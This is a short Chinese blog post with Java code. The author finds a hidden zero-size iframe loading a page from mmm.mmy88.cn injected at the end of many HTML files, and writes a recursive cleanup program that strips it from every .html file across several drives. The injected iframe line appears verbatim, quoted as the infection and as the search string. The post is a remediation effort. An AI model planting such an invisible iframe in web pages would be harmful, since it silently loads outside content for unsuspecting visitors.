今天突然发现, 很多 html 文件的末尾多了一行,
不知道什么时候中的招,很久没有写有关IO方面的代码, 今天顺便温习一下, 用Java 写段代码删掉它.
<iframe width='0' height='0' src='http://mmm.mmy88.cn/lx.htm'></iframe>
不知道什么时候中的招,很久没有写有关IO方面的代码, 今天顺便温习一下, 用Java 写段代码删掉它.
public class FileUtils {
public static void main(String[] args) throws Exception {
String content = "<iframe width='0' height='0' src='http://mmm.mmy88.cn/lx.htm'></iframe>";
String extName = ".html";
String[] dirs = { "C:", "D:", "E:", "F:" };
for (int i = 0; i < dirs.length; i++) {
String dir = dirs[i];
long t1 = System.currentTimeMillis();
delContent(content, dir, extName);
long time = System.currentTimeMillis() - t1;
System.out.printf("Process directory %s in %d seconds\n", dir, time / 1000);
}
}
/**
* Del content in all the files(.extName) under the specified directory
*
* @param extName like ".html"
*/
public static void delContent(String content, String dir, String extName) throws Exception {
List<String> fileNames = listFileNames(dir, extName);
//System.out.println("Modifying...");
for (int i = 0; i < fileNames.size(); i++) {
String fileName = fileNames.get(i);
//System.out.printf("%5d Modifying file: %s\n", i, fileName);
//Read
File f = new File(fileName);
BufferedInputStream bin = new BufferedInputStream(new FileInputStream(f));
byte[] buff = new byte[((int) f.length())];
bin.read(buff);
bin.close();
String str = new String(buff, "utf-8");
String[] all = str.split("\r\n");
//Write
OutputStream fout = new FileOutputStream(f);
for (int j = 0; j < all.length; j++) {
all[j] = all[j].replaceAll(content, "");
fout.write((all[j] + "\r\n").getBytes("utf-8"));
}
fout.flush();
fout.close();
}
}
/**
* List all file(.extName) name in the path
*
* @param extName like ".html"
*/
public static List<String> listFileNames(final String path, final String extName) {
List<String> fileNames = new ArrayList<String>();
FilenameFilter filter = new FilenameFilter() {
public boolean accept(File dir, String name) {
File file = new File(dir, name);
return name.endsWith(extName) || file.isDirectory();
}
};
File dir = new File(path);
listFileNames(dir, filter, fileNames);
return fileNames;
}
private static void listFileNames(File dir, FilenameFilter filter, List<String> fileNames) {
String[] names = dir.list(filter);
for (String s : names) {
String fileName = dir.getPath() + File.separator + s;
File file = new File(fileName);
if (file.isDirectory())
listFileNames(file, filter, fileNames);
else
fileNames.add(fileName);
}
}
}